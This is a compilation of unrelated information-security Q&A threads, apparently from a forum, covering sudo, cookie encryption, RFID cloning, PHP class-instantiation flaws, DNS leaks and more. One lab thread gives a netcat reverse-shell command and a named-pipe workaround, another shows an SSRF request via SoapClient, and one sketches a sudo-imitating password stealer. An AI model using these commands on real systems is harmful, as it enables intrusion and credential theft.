I would like advice on how secure this is, and what steps I can take to increase security.  I know, for example, that this is not 100% fool proof --- if someone were able to dump the memory, the password would probably be accessible that way.  That's an unfortunate one I'm willing to live with.  What else?

The "storing-password-in-memory-via-daemon" pattern is not something I can deviate from.  This approach was decided on by the team as a whole (as opposed to putting the password in a root read-only text file for example).  So it's less a matter of, "what alternatives do I have," and more a matter of, "what tools can I use to accomplish this particular task with the simplest and easiest to maintain code without sacrificing too much security?"

I'm not familiar with Pyro specifically, but this pattern is similar to a lot of other common setups.

As you've mentioned, the daemon is storing the password in memory, so any sort of memory dump can retrieve it.

If a user has local access to the machine, they may be able to attack the initial password entry.  Keyloggers are the most obvious tool here; in non-getpass scenarios, you could also leak it through things like reading bash history (if it was in the command-line) or process lists (if it was in the environment).

An attacker may be able to take advantage of flaws in the daemon to write a program that connects to it and gets it to return the password.

Sometimes it doesn't even matter if they have access to the password, as long as they are authenticated.  They may be able to trick your application (either through direct connection to the daemon, or a more remote attack via SQL injection-like attacks) to execute attack code with the daemon's privileges.

  The "storing-password-in-memory-via-daemon" pattern is not something I can deviate from. This approach was decided on by the team as a whole (as opposed to putting the password in a root read-only text file for example). So it's less a matter of, "what alternatives do I have," and more a matter of, "what tools can I use to accomplish this particular task with the simplest and easiest to maintain code without sacrificing too much security?"

This seems like a reasonable implementation of your chosen pattern.


Why should one use sudo? Most modern Linux articles advice using sudo rather than logging into root. This advice is so ingrained, some distros don't automatically allow root login. Indeed they come pre-configured with sudo using the users password to run arbitrary commands as root.

What can go wrong?

In reality, if one runs the above command, he almost might as well run as root!!

What does malware do?

modify .bashrc to include

export PATH=/home/user/.hack:$PATH

and drop a script to ~/.hack which will:

imitate sudo
send password to C&C server
delete itself

Hacker gets (user and root) password.

The same concern exists with plain su, and the only way to avoid is:

Alt-Ctrl-F1 and login as root
Alway run sudo or su as /usr/bin/sudo or /usr/bin/su

The first option seems much more secure, yet seems to go against modern practice. Why?

Because sudo allows much finer-grained controls than "login as root then do whatever you want." For example you can configure sudo so that some users are only allowed to run certain commands (like wrapper scripts or "acceptable" binaries). You're concerned about a trojan horse compromising a single-user's computer, but sudo was created to allow logging and access control on a server that is administered by multiple people.

Of course on a single-user system, the important files are the user's files, and once you get access to the user's account you already have access to those files, so getting the password is not even that important anymore. Even if the password is your goal (say, you're attacking someone who reuses passwords) there are plenty of ways to get it without involving sudo; for example, I've recently encountered 2 installed-by-default programs that will log passwords or password errors in plaintext.

And finally, it's advisable to not run as root whenever possible because the consequences of mistyping a command (rm_-rf_._/ is an obvious example) aren't as severe.  Requiring the extra step of writing sudo at the beginning of a command as opposed to "forgetting you're logged in as root and doing something destructive" can avoid some simple but serious mistakes.


Does Reinstalling windows ensures removal of all malwares/spywares/virus/rootkits etc? If I re-install Windows, will it ensure that all types of malware/spywares/rootkits and any other malicious software are removed from my laptop?

If your laptop has only one hard-drive and you format it, you should be fine. It doesn't prevent you from getting infected by the same vector again though.


Is there a security problem accessing my laptop via WIFI? I'm developing a web application for mobile devices on my local server in my laptop. My laptop is connected to company network via LAN. And, my project manager, wants to check the web application which runs on my local server via his phone through WIFI. Further, I'm using fedora 15, and don't have any anti-virus software. Is there are any security problem for my personal data which is on my lap?

How can he access the web application, other than WIFI enable mobile devices?

If your web application isn't being run as you, but a dedicated user with access only to the correct folders/files, then it should be fine.

Of course, if either the operating system/server/application/hardware drivers etc has a vulnerability in it that enables read access to any folder, then you'll have a problem!

Check you don't allow arbitrary code execution in your app, check everything's up to date and all should be fine.


What is going on with my download of the recent Apple security update? The update in question is the Mavericks combined update which, among other things, claims to fix the recent SSL vulnerability/gaping hole.

This issue really annoyed me, so I decided to procure Apple's PGP key and verify it as best I could.  And I snooped my traffic with Wireshark during the downloads.  Here are my findings:

Getting and verifying Apple's PGP key was a waste of time, because as far as I can tell they don't issue signatures for software updates
The update downloader connects over HTTPS to their software download locator domain, which redirects to the actual update on a CDN (in my case apple.vo.llnwd.net)
Every single bit of the update package comes over plain old HTTP from the CDN
Every single packet of the update is followed by a duplicate ACK (this only happens with the update, all my other downloads are fine, so I don't think it's my infrastructure)
Manually downloading the dmg archive from here is HTTP by default.  Enforcing HTTPS causes a redirect to the actual (HTTP) file URI, HTTPS is not enabled for this URI.

Apple (presumably responding to criticism of yesteryear) specifically say that updates are delivered over HTTPS except where "complicated proxy set ups" make this impossible.  I have tried to download over my vanilla connection and 2 offshore VPN's, and for love nor money can I get an HTTPS link to that file (software update or via website).

My questions are:

In your opinion are they - or someone in between - playing funny buggers?
Is there suspicion to be drawn from all those duplicate ACKs? (I don't know enough about this to even speculate)

I'm suspicious because if I was the NSA/GCHQ and I had a weeks warning to intercept and replace blobs of binary on predictable HTTP endpoints that will auto-execute because code signing on millions of target machines is entirely broken, I'd probably think Christmas had come twice.  I don't see any circumstance under which they could pass up such an opportunity if they were capable of it, and from everything I've read they are more than capable such a thing.

(The below is all speculation, I don't know how Apple's updater works internally.)

There are definitely architectures that can perform a secure update over HTTP.  Almost all Linux distributions distribute packages in plaintext, and verify them by verifying the hashes (SHA-1, SHA-256, etc.) from the repository metadata.  The repository metadata, in turn, is signed with a GPG key that your host verifies, and was installed with your original installation media.  (If your original install media was backdoored, all bets are off forever.)

So what does this have to do with your Apple update?  Apple could be using a similar scheme -- send a hash over HTTPS, download over HTTP, then verify the hash.  Software updates like this are a case where all you really need is integrity (I know some people would like confidentiality, but let's be honest, if an attacker sees you download X bytes over HTTPS from apple.com, and the latest apple update is X bytes, you've lost confidentiality already), and integrity can be achieved without sending the file itself over HTTPS.

In fact, this technique maybe preferable -- Apple could have a small number of servers serving update metadata under their direct control (i.e., URL and hash of the update) and then use a 3rd party CDN to distribute the update, reducing bandwidth costs, latency, etc.  If the update were served by the CDN directly over HTTPS without the verification step (i.e., all integrity is from HTTPS), then the CDN (or someone who compromises the CDN) could replace the update with a modified version.

Whether or not the duplicate ACKs are something to worry about is largely a separate question.  My level of concern would depend on a number of things: are they outbound or inbound ACKs?  What are the TTLs?  What are the sequence numbers?  It's really hard to say, but I suspect duplicate ACKs are far more likely caused by a network misconfiguration somewhere (even if not your network) than by an attacker.


Encryption and Decryption in stateless manner I want to store some user's security information in cookie, but I want to encrypt it so that nobody can see what is really inside it.

And when client makes request, I want to decrypt it. What mechanism I can use to achieve this provided I cannot store the "key" used to encrypt as I have stateless mechanism between client and server, so i cannot store the key somewhere in session.

Thanks.

You want your server to be able to decrypt the data, and nobody else. Therefore, your server must "know" something that other people do not, and that "something" is what cryptographers call a key.

However, there is no need for that key to be specific to the user. It can be a server-wide key. With symmetric encryption, the key to encrypt and the key to decrypt are the same; this will work for you if your server is also the system which does the encryption (since cookie values are set by the server, I suppose that this is your situation).

Some notes:

You want integrity too. In your system, the user is a potential attacker. The cookie is on his machine, so he could try to alter it. Encryption will prevent him from knowing the contents, but he may still make some "guesses" and alter it. Encryption does not ensure integrity by itself.
Combining encryption and integrity is not as easy as it seems. See this question for theory and pointers on the subject.
The server-wide key is sensitive information; manage it sensibly. In particular, you don't want to push it to all your backups (because lost/stolen backup tapes or disks are a classic leak mechanism), but you don't want to lose it either.


How are RFID access systems compromised? http://www.incontrol.co.nz/82/Cards-and-Tags

Say, for example, a group of people were given the card tag, "Proximity Blue Key Tag", in the link above. This card tag gave access to buildings 'A' and 'B' to those with the cards (card AB).

Another group of people were given the same card key tags, but half of them could only access building 'A' (card A) and the other half could only access building 'B' (card B).

Card keys of this sort are read by the reader following this link: http://www.incontrol.co.nz/products/PRX-TSEC-STD

With all three cards in existence (card AB, card A, card B), how would one with limited access--holder of card A-- access both buildings A and B without using card AB?

Hopefully my question doesn't come out too muddled. A simpler way to phrase it may be: How would one create an RFID master key for a RFID based security/access system?

Thanks.

The Proxmark 3 supports a variety of RFID protocols.  This is an open source RFID platform that is commonly used by malicious actors to capture and replay RFID tags found in the wild.  In practice an attacker would stand outside of buildings A and B and capture every card,  including card AB all the way down to card ZZ.

IT appears as though the TSEC reader is using the DESFire/Mifare standard,  which has been broken since 2008.  DES as an algorithm has been broken since 1973,  which was the year it was published. The proxmark 3 should have no trouble cloning these tags.

This is also a good talk for an introduction to RFID Hacking: Live Free or RFID Hard.  This talk brings up an interesting point,  a lot of RFID wallets don't work and have not been tested.  Most organizations don't require the use of RFID wallets, and treat RFID like magic.


Should I validate authentication form inputs? I've got a login page with a form where they can input their account's email address and password.

I'm doing the following things before even attempting to authenticate a user:

Validating the email address for correct format.
Validating the password for not being empty.

If any of these are invalid, I report back with the validation errors like:

"You did not enter an email address." and/or "You must enter a password.".

It's also susceptible to timing attacks since password verifying is not attempted when there are errors.

Would it be safer to just accept any input and just report back with a generic "Login failed." error?

Sorry, I do not get the part on your concern with timing attacks. As long as the passwords are properly hashed and the comparison is done on the hashes, your application should be safe from this kind of side channel attack. Whether a database call has been made or not (2s vs 1s) does not leak any information on your password.

It is always good to validate form inputs, regardless of whether they are stored in the database, in case your database query is susceptible to an SQL injection. This strategy is known as defence in depth. You never know when your query parser is made vulnerable by some weird user input like the recent shellshock exploit.

There is really not much of a security issue whether you report the failed login by showing individual errors of or by grouping them together. What an attacker can gain from here (whether an email address is valid) can also be gleaned from the registration page by trying to register with that email address.


How can I exploit a PHP endpoint that lets me instantiate an arbitrary class? PHP lets you instantiate classes from variables or array entries, like this:

class Foo {}
$className = 'Foo';
new $className();
$someArray = ['class_name' => 'Foo'];
new $someArray['class_name']();

Distressingly, some of my coworkers - on multiple projects I've worked on at multiple companies - have used this language feature with class names supplied from user input as a way of instantiating one of several possible subclasses depending upon a type specified in the request. I've seen code along these lines...

new $_GET['product_type']($_GET['product_id']);

This, besides being a maintenance headache, is obviously stupid and dangerous; you're letting an attacker instantiate an arbitrary class. But how dangerous? What attacks are there that just use built-in PHP classes (and therefore require no detailed knowledge of the application code) that could be used against endpoints like the one above?

I'm looking for the nastiest attack anyone can come up with that I can use to scare any future coworkers who use this horrible anti-pattern.

I don't think that you can do anything with just this code.

But that does not mean that this is secure in any way. You give up the control flow of your application to the user, which is not a good idea.

For example, if you were to call close on the newly created object, an attacker would gain SSRF:

$obj = new $_GET['x']($_GET['y']);
$obj->close();

// SSRF:
http://localhost/shell.php?x=SoapClient&y=http://localhost/called

Or if you had a class such as this, an attacker would gain session fixation:

class Session {
   function __construct($sessionId) {
       session_id($sessionId);
   }
}

// session fixation:
http://localhost/shell.php?x=Session&y=123

Or you may have a class like this:

class File {
    function __construct($filename, $content) {
        $this->filename = $filename;
        $this->content = $content;
    }

    // [...]

    function save() {
        file_put_contents($this->filename, $this->content);
    }
}

And lets say the classes that users are supposed to create also have a save method (eg to save the object to the database). Now an attacker would have code execution.

It's easy to imagine a lot more scenarios like this, where either a constructor of a class does something dangerous, or a dangerous method of a class has the same name as a safe method of the class you expect.

It's likely that your current code base would allow an attacker to do at least something.

Depending on your code being secret is also not a good idea. Your code should be secure, even if the source code somehow leaked.


What information should I collect when a user performs an action on a website? In the development of an organization's web system (containing sensitive information) with credentials, where the actions carried out must be monitored, what information should I keep when each action takes place?
For example, let's suppose the administrator accepts a transaction and months later he says "It wasn't me". We should have the correct pieces of information (apart from the login credentials used at the moment) to check if it was him or not, at least to support a legal act.
The minimum information I guess that should be considered:

IP at the moment of the action.
Exact date.
The values before and after the transaction.
Username.

I understand that this depends a lot on the context, so in that case, let's answer for the example I wrote.

I will assume the example that you mentioned:

IP at the moment of the action.

This is good

Exact date.

Also good if you add the time as well

The values before and after the transaction.

This is also good but I would probably detail it and add some more info as:

Transaction ID
Quantity sent
Type of transaction
Sender and Receiver (including the accounts id, for example)

Login credentials.

This is an absolutely NONO for many reasons:

If you mention credentials I assume that you mean cleartext password, which would imply that they are not hashing psw -> BIG NO
The idea of logging is to keep a track of the user actions. If an admin is checking logs, why would he need the credentials of the account? Also, take into account that your app should always follow the least privilege principle

In the end what we want to achieve with logging is to ensure non-repudiation. It would not make a lot of sense to add credentials in there. Just imagine how catastrophic would be if that page would be exposed through a XSS or something similar!


Scan for infection of malicious files manually? I know there are options of free security softwares out there that do good job like malwarebytes, but I really want to learn how to scan for possible threats of malicious files on your pc manually. I know you could  check irregular and unfamiliar activities and processes on computer with process manager in windows, but I am worried that some malicious files could hide their processes or that they quit their processes when they have detected that you have opened process manager or security softwares such as malwarebytes or antivirus softwares. Is there a way to access a log of all the changes made and are being made to windows, recent and ongoing processes so one could narrow down suspicious files instead of having to keep surveilance on process manager all the time. And are there other ways to scan for threats in pc manually-- such as checking some system files.
Also, could someone tell me how those security programs scan for threats themselves? And how do i know whether the scan method employed by them are thorough and trustworthy? And are security programs such as kaspersky, avg, sophos efficient in finding threats at all?

And usually how do you find ways to remove the threats? by Google  alone? are there some online forums or communities where you could find people to ask for help fixing your infected pc, or some database for removal methods of malicious files? And if you cannot be certain what kind of malicious files your system has been infected with after googling and scanning with security softwares, where should you turn to for help?

Basically what you ask is how can you become your computer's Anti-Virus. Simple answer - you can't.

You can make or find scripts which will give you some indicators of compromise for your system and start looking at them suspiciously, you can explore through processes and their insights, you can analyze your network traffic and see what's not good here. You can learn how to monitor your system with Windows Management Interface and PowerShell (i assume you work on windows for this one). You can also take snapshots of your system and compare them. You may also use or write tools to check the signatures of your files with Yara rules and see if you get any malicious hits. You will learn tons of stuff, but still, you may be missing something. It's not worth compromising your system for something like this.

So basically, you will be doing by hand what a good AV does. Scan files based on their signatures database and/or process behavior. Check for changes in the filesystem and registry keys, suspicious network traffic and strange strings. The difference is you will be doing it slower, less efficiently and not in real time.

If you want to learn stuff about analyzing and thus tackling malware set a nice virtual environment, get to learn static and dynamic analysis, some tools that will help you and start learning your OS's insights. Find a nice malware sample list and off you go. But you can't replace an AV and you shouldn't either. That's what it's made for, speed and efficiency in detecting and blocking tons of known attacks and trying to detect unknown ones, based on behavior.

P.S. Feel free to ask anything below :)


What exactly is a subkey? I fairly understand the math behind RSA, Elgamal, AES, SHA but not how things are used in practise. How are subkeys different from master key? I understand its purpose from various websites but How is it internally implemented? How is it bound to the master key? Is it an OpenPGP terminology?

This post by user rjh from 2008 in the enigmail forum answers it well:

  Originally in PGP 2.6, back in the early 90s, you had just one keypair
  and it was used for both encryption and signing. The ability to have
  additional keypairs presented some engineering challenges. Ultimately,
  it was decided that the additonal keypairs would be called "subkeys",
  despite the fact there's nothing "sub" about them. Likewise, what you
  call your "key" isn't really a key at all--the terminology is a
  holdover from the days when a key really was a key. Nowadays, a key is
  really a collection of keys, along with some metadata for user
  identifiers, signatures, etc.

  E.g., my "key" has four keypairs on it: 5B8709EB, D0C6AAE4, 71E177DB
  and 8DB02BBB3.

  What GnuPG calls your "public key" is really the oldest signing key in
  the collection. E.g., since 5B8709EB was created first, GnuPG calls
  the entire set of keys and metadata the "5B8709EB key".

  So, "is it possible to have a key that's used for encryption and
  signing without any subkey at all?" The answer here is no, because
  all keypairs on a key are subkeys. Even if there's only one of them.


What is the minimal security standard needed for this type of software product Actions described in security standards (like ISO 27002, PCI-DSS, HIPAA, Common Criteria) greatly vary according to the domain data that they store, process, transmit and report.

We have a product which collects metrics from a network/wifi enabled luminaries (lighting device) and make analytics data for trend analysis or energy efficiency calculations. What is the minimal security standard that the product needs to meet? It has a device discovery module, data aggregation and a reporting web-app hosted in the cloud and the data moves from enterprise to cloud platform.

I am thinking of at least OWASP 10 but then its not standard rather guidelines of security controls for web-application.

What is the minimal security standard that the product needs to
  meet?

This largely depends on procurement requirements you are trying to meet. For US federal government the bare minimum to get on the list is FIPS 140-2 certification of your cryptographic module. For DoD there is JITC certification. For NSA and such you have NIAP and Common Criteria. However, I don't think you are trying to do any of this.

Instead, I think you are trying to establish a benchmark for a bare minimum effort to secure your product. To do this, I suggest you should regularly patch every third-party library you use (e.g. OpenSSL), then run a vulnerability scanner, like Nessus, and follow up with a static code analysis tool, like Coverity, applicable to your language. This approach will get you to 'minimal security' if you integrate it into your QA process.


What is the Ethics and Legality of Grabbing Data from Social Networks to aid a Pentest? What is the ethics and legality of developing and using a tool to grab data on employees in the client's company in social networks such as facebook, twitter and linkedin. The data should then be used in a pentest in social engineering attacks.

Data could be grabbed via the API, or maybe web scraping.

Legality depends on local laws that will change and are subject to interpretation.  Best to consult a local lawyer who specializes in these matters.  For example, data privacy law in the EU is quite strict about notifying people before aggregating data about them.

Ethically, its best to have been given explicit permission by the individuals to aggregate their information before doing so.  In your scenario, its probably best for say your client to give you permission to aggregate the specific data about their employees for your pen test purposes.  For your client to ethically give you permission, they should have previously explicitly obtained permission from their employees that included letting third parties (such as yourself) aggregate the data for these sorts of purposes.


AirVPN, DNS Leaks on Windows 8.1, but not Ubuntu I've noticed when I visit dnsleaktest.com using Windows 8.1 & Chrome a bunch of UK IP addresses (Belonging to my ISP) are displayed alongside the Netherlands IP address I should be appearing as (see below)

When I do the same thing on Ubuntu 15.10 & Chromium (pretty much straight out the box installation) I do not get the same issue (see below)

I've tried following several sets of instructions including the ones on the website I used to do the test (e.g. manually setting DNS address).  Of note on a different computer running Windows 10 the same thing occurs and we have not managed to resolve it.

This is my first question hopefully I've not breached anything!  Thanks in advance.

The problem may be windows 8 (and windows 10) using 'Smart Multi-Homed Name Resolution'. This basically sends queries to multiple DNS servers and returns the fastest result, so your network adapter's DNS may not have been used.

You can try using gpedit to disable this, avast have some instructions here

If this setting does not appear in gpedit (I have seen it missing!) you can manually change the registry to disable it.

Go to the key (create DNSClient if it does not exist):
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\DNSClient

and create a DWORD DisableSmartNameResolution. Set it to 1, and then flush your DNS cache.

This is explained in more detail in the article here


Does having /sbin/nologin mean I cannot start the /bin/sh executable? While practicing exploitation on a lab, I managed to get the ability to execute php code which allowed me to execute system commands through shell_exec on a web server. The apache user has /sbin/nologin assigned as its shell.
I have tried using the command nc -e /bin/sh [ip] [port] but it fails. Using netcat without starting a shell, however, succeeds. I assumed that this was because having the shell set to /no/login means I cannot start it. However, if I use an executable that performs execve("/bin/sh") such as those found in msfvenom payload executables, it succeeds.

Another reason I assumed the nologin shell disallows a user to start an interactive shell is because trying the netcat reverse shell with a user who has /bin/sh configured as its shell succeeds. I am confused what phase checking for permissions to start a shell begins because I am still able to start it through binary executables.

Most probably, your problem has nothing to do with the login shell. Having a version of nc that supports the -e option is a great exception. Most netcats don't support -e.
This article explains what you have to do in this case. You have to split the shell creation into 2 parts, first you create a pipe with

mknod /tmp/mypipe p

and then you create the shell by redirecting stdin and stdout to the pipe and thereby to nc.


Why is logjam rated as "None" for confidentiality impact in CVSS? The CVSS score for Logjam is (AV:N/AC:M/Au:N/C:N/I:P/A:N).

As noted in that nice dynamic image interpretation, the Impact metric "Confidentiality" is described as "None"  (C:N).

But the description at Logjam notes "there is a passive network adversary able to eavesdrop" for Attack 1, and has a video displaying the plaintext of a post to an FBI site.  Surely that merits at least a partial confidentiality impact C/P).

And of course if that or the impersonation attacks can be employed against the right user, you can also potentially get full access to information on the server's confidentiality, integrity and availability.  But I guess they don't count those follow-on attacks.

I can't tell you how NVD came up with their, let's call it baseline rating. But I can tell you that not all vendors have followed that baseline rating.

Ratings survey

(AV:N/AC:M/Au:N/C:N/I:P/A:N), 4.3, NVD

And if manually change this to (AV:N/AC:M/Au:N/C:P/I:P/A:N), then you get Overall CVSS Score 5.8.

(AV:N/AC:M/Au:N/C:N/I:P/A:N), 4.3, Juniper. Same as NVD.
(AV:N/AC:M/Au:N/C:P/I:N/A:N), 4.3, Polycom. C:P/I:N instead.
(AV:N/AC:M/Au:N/C:P/I:N/A:N), 4.3, IBM. C:P/I:N instead.
(AV:N/AC:M/Au:N/C:P/I:N/A:N), 4.3, RedHat. C:P/I:N instead.
(AV:N/AC:H/Au:N/C:P/I:P/A:P), 5.1, SCIP VulDB. C:P instead.

I don't understand the baseline either.

FIRST.org gives some CVSS examples on how you're supposed to score vulnerabilities. I'm assuming that for these examples they have been careful to rate correctly.

They are scored using both CVSS v2 and CVSS v3.

And they list two SSL/TLS vulnerabilities. Number 3, which is POODLE. And number 20, which is a ChangeChiperSpec vulnerability. And they both score "C:P (partial)" in CVSS v2.

And going by these examples I would score Logjam as C:P as well. NVD hasn't. I don't know why.

Edit history

For the long and convoluted evolution of this post, see the edit history.


How does Google crawl pages which require login? I queries a phrase on Google, and when I clicked on the first result, it asked me to login, and wasn't allowing me to proceed without login.

If it matters, the query that I searched was "how to exit out of microstrategy presentation mode".
The first result (now this may vary according to your location or past search results), which starts with "No shortcut key to exit presentation mode..." asks for login.

I was wondering how can Google crawl such pages, which require login.

These pages simply don't require a login when Google is crawling them but only if a user with a common browser accesses the pages.

In order to have pay-walled or otherwise protected content included into results of search engines, several sites white-list specific crawlers, for example based on source IP address or user agent. Another way (which might be also employed at the specific site you want to access) is not to white-list specific crawlers but to detect if a real browser is used and then require a login.


Freeradius eap-tls - unknown CA I'm trying to setup an EAP-TLS with latest Freeradius on Debian Buster

Used the Freeradius to make certificates

But keep running into "unknown CA" error :

(4) Found Auth-Type = eap
(4) # Executing group from file /etc/freeradius/3.0/sites-enabled/default
(4)   authenticate {
(4) eap: Expiring EAP session with state 0x8448c93b874cc4cb
(4) eap: Finished EAP session with state 0x8448c93b874cc4cb
(4) eap: Previous EAP request found for state 0x8448c93b874cc4cb, released from the list
(4) eap: Peer sent packet with method EAP TLS (13)
(4) eap: Calling submodule eap_tls to process data
(4) eap_tls: Continuing EAP-TLS
(4) eap_tls: [eaptls verify] = ok
(4) eap_tls: Done initial handshake
(4) eap_tls: <<< recv TLS 1.2  [length 0002]
(4) eap_tls: ERROR: TLS Alert read:fatal:unknown CA
(4) eap_tls: TLS_accept: Need to read more data: error
(4) eap_tls: ERROR: Failed in __FUNCTION__ (SSL_read): error:14094418:SSL routines:ssl3_read_bytes:tlsv1 alert unknown ca
(4) eap_tls: In SSL Handshake Phase
(4) eap_tls: In SSL Accept mode
(4) eap_tls: SSL Application Data
(4) eap_tls: ERROR: TLS failed during operation
(4) eap_tls: ERROR: [eaptls process] = fail
(4) eap: ERROR: Failed continuing EAP TLS (13) session.  EAP sub-module failed
(4) eap: Sending EAP Failure (code 4) ID 4 length 4
(4) eap: Failed in EAP select
(4)     [eap] = invalid
(4)   } # authenticate = invalid
(4) Failed to authenticate the user
(4) Using Post-Auth-Type Reject
(4) # Executing group from file /etc/freeradius/3.0/sites-enabled/default
(4)   Post-Auth-Type REJECT {

I set up eapol_test to execute a local test and it worked fine :

eapol_test -c eap-tls.conf -a 192.168.13.130 -s whatever -o eap-tls.out

RADIUS packet matching with station
MS-MPPE-Send-Key (sign) - hexdump(len=32): 10 02 c1 45 3f cd ea a0 29 35 17 86 3e fc 00 50 2d 6a 16 4c e5 85 b2 a0 fd 95 a5 b2 d2 ea b4 33
MS-MPPE-Recv-Key (crypt) - hexdump(len=32): 5a a5 09 23 0d ce e0 f0 b4 8a bb be d7 ff 6a e7 2b 8a 6f be 84 9d 64 07 88 d7 7d 7c a1 02 07 63
decapsulated EAP packet (code=3 id=181 len=4) from RADIUS server: EAP Success
EAPOL: Received EAP-Packet frame
EAPOL: SUPP_BE entering state REQUEST
EAPOL: getSuppRsp
EAP: EAP entering state RECEIVED
EAP: Received EAP-Success
EAP: Status notification: completion (param=success)
EAP: EAP entering state SUCCESS
CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully
EAPOL: IEEE 802.1X for plaintext connection; no EAPOL-Key frames required
WPA: EAPOL processing complete
Cancelling authentication timeout
State: DISCONNECTED -> COMPLETED
EAPOL: SUPP_PAE entering state AUTHENTICATED
EAPOL: SUPP_BE entering state RECEIVE
EAPOL: SUPP_BE entering state SUCCESS
EAPOL: SUPP_BE entering state IDLE
eapol_sm_cb: result=1
EAPOL: Successfully fetched key (len=32)
PMK from EAPOL - hexdump(len=32): 5a a5 09 23 0d ce e0 f0 b4 8a bb be d7 ff 6a e7 2b 8a 6f be 84 9d 64 07 88 d7 7d 7c a1 02 07 63
No EAP-Key-Name received from server
WPA: Clear old PMK and PTK
EAP: deinitialize previously used EAP method (13, TLS) at EAP deinit
ENGINE: engine deinit
MPPE keys OK: 1  mismatch: 0
SUCCESS

Any ideas or suggestions on what might be causing the issue ?

regards
yann

The issue was linked to a field called "identity" with the supplicant
I had chosen a different name than that specified in the FreeRADIUS clients.conf file


Is a 43 character GPG (symmetric) passphrase as secure as a 256-bit key? A 43 character securely randomly generated mixed case alphanumeric password (with 2 extra chars to give 64 possibilities per character) would constitute 258 bits of entropy (6 * 43 = 258).

Since the gold standard in AES symmetric key lengths is 256 bits, am I right in concluding that GPG will use my 43 character securely randomly generated password to create an encrypted file that is just as secure as if I'd used a securely randomly generated 256 bit binary key directly (instead of deriving it from a passphrase)?

I'm looking for gotchas, such as whether despite specifying to the gpg command to use AES256, maybe the KDF will still only create a 128 bit key from my 258 bits of entropy?

In some versions of GPG, the default KDF is PBKDF-SHA1, which will result in a 160-bit key, I am unsure what the default KDF is for each version, however their website man page says it is RIPEMD-160 (for the current version I assume).

You can change the default to the more secure SHA512 using the command --s2k-digest-algo SHA512, which should result in a hash value truncated to whatever key size the encryption algorithm uses, 256-bits in the case of AES256.

Since you are using a full entropy random password, you should not require iterations or salting, and can use just a straight hash if you desire (mode 0).


Read-only to the root user Is there a permanent and secure (as in integrity) way to make the entire Ubuntu system of a VPS (virtual private server) read-only to all users (including the root user)?

Yes, using Mandatory Access Control.  It would be an awful lot of work, though.

Mandatory Access Control systems allow you to impose restrictions on actions, even those performed by root, and with the ability to be granular to the process (e.g. dhcpcd running as root can edit /etc/resolv.conf, but vi running as root cannot).

It's likely impossible to have a running Ubuntu system which is completely read-only.  Various OS processes expect to be able to write to files (e.g., /bin/login wants to update utmp, btmp, wtmp; lots of things want to log).  Of course, if you can figure out all those files, you can permit necessary access, but doing so is quite a chore.

The most commonly known MAC system is SELinux.  To quote Wikipedia,

  SELinux can potentially control which activities a system allows each
  user, process and daemon, with very precise specifications. It is used
  to confine daemons like database engines or web servers that have
  clearly defined data access and activity rights. This limits potential
  harm from a confined daemon that becomes compromised.

Which matches the goal you stated in the comments:

  create an environment which is read-only in case of a buffer overflow
  (which will be given as a challenge).

Ubuntu uses AppArmor instead of SELinux.

MAC systems generally require "something special" to turn them off, such as rebooting into a special mode, which is not accessible to a remote attacker.  (Obviously, if root can just "turn it off" easily, it doesn't protect against root.)

Allow me to repeat myself: doing this is an awful lot of work.  Systems like SELinux can be prohibitively difficult to configure correctly; in general you will find them working in limited, targeted protection profiles (e.g., "don't let the web server get at stuff") and distributed in a tested, controlled configuration from an OS vendor (Red Hat does this, for example).  If you want to use it to lock down everything, you've got a lot of work to do.

For what its worth, one of AppArmor's selling points is that it's easier than SELinux, so the fact that you're on Ubuntu may put the odds ever in your favor.


How to generate all possible combinations of a forgotten password I have forgotten my password but I know the words used in the password. I remember the password was something like MyPassport@1.82TB.
Is there any software that can produce all combinations like replacing "M" with "m" or "1" with "!", something like that?

This is called a rule based attack.  Password cracking tools such as Hashcat and John the Ripper can be used to crack passwords in this manner.


Storing Username and Password in Application memory (ram) I've created a user application running on Windows 7 desktops. This application allows users to enter their username and password for another system. My application does this with a simple textbox.

Currently, I'm storing this data in memory for the application. The application later encrypts and transmits the credentials via TLS https. My question is, can I store the username and password in my applications memory unencrypted? What rules do I need to follow with accepting and holding (in memory) user credentials?

It is best practice to encrypt these details in memory, but you need to undertake some sort of threat modelling process and see if it justifies the overhead.

It would seem your primary risk is users reading memory using appropriate tools - this requires malicious intent and a fairly sophisticated user. Is this a likely threat scenario? What they can access if they do compromise the credentials?   Is it just data on the local machine?

Memory dumps are another potential issue, if an error occurs, or a malicious user forces a fault and memory is dumped to logs, the data may be retrievable from these logs.

Swap files and hibernation files may also contain this data as memory is swapped out or if the device hibernates while the credentials are in memory.

There are multiple tools available to you to protect against these cases, types such as SecureString in .Net framework, there are also data protection APIs provided by the MS operating systems.  Secure String as one user has already replied are immutable and encrypted and they are also stored in multiple locations in memory. I would use constructs such as this provided by the frameworks and the OS and avoid rolling any of your own code to secure the data in RAM.


Is ROP chain possible in 64 bit? I recently started practicing binary exploitation on 64 bit linux. Problem is while chaining ROP gadgets we have to get their address on stack. But since 64 bit addresses are 6 bytes plus 2 null bytes. It's not possible to get null bytes on stack with strcpy like functions. Anyone able to do something about it yet ?

String-handling functions aren't the only way to perform a buffer overflow.  If you find a vulnerability in how a program handles binary data (eg. a missing bounds check on a call to memcpy()), there's no problem putting null bytes on the stack.


What is more risky? Database Server in DMZ or Trusted Network? Hoping this is not a dupe of any of the related database / DMZ questions, but I don't think any of them answered my question sufficiently.

Assume the following

A web server is being used for intranet and internet purposes
The above system requires active directory synchronization, but is not necessarily compatible with AD LDS
The aforementioned web application thus needs to perform lookups from the AD database for integration with Active Directory.

Now, I'm quite sure the following topology would be ideal (noting each | represents a firewall). Correct me if I'm wrong, but this topology prevents the DMZ from ever interacting with the Trusted Network, and keeps the database out of the DMZ.

INTERNET <-> | <-> DMZ <-> | <-> Database Zone <-> | Trusted Network

Now assuming what I've said above is true, what if a company didn't have the capacity for a 3 firewall approach? Would the bigger risk be putting the Database Server in the DMZ, or would it be keeping it in the trusted network with specific firewall rules allowing access to the trusted network?

One solution: put the database server in your trusted network, make sure you only allow database ports through.

Maybe a better one would be to:

Turn on the OS firewall on the db server and lock it right down
Give it a DMZ NIC and a Trusted Net NIC
Make sure your database security is locked down and everything is blocked in and out except the traffic you want (i.e. allow AD traffic on the trusted NIC and not on the DMZ, etc.)

That would give you, logically, the topology you described, but it will increase the risk if your database server is compromised.

Is it worth keeping the database server off the domain? That'll mean you should be able to have only the SQL ports open.

Maybe set up a pair of named instances? One for external one for internal - then you can logically separate everything.


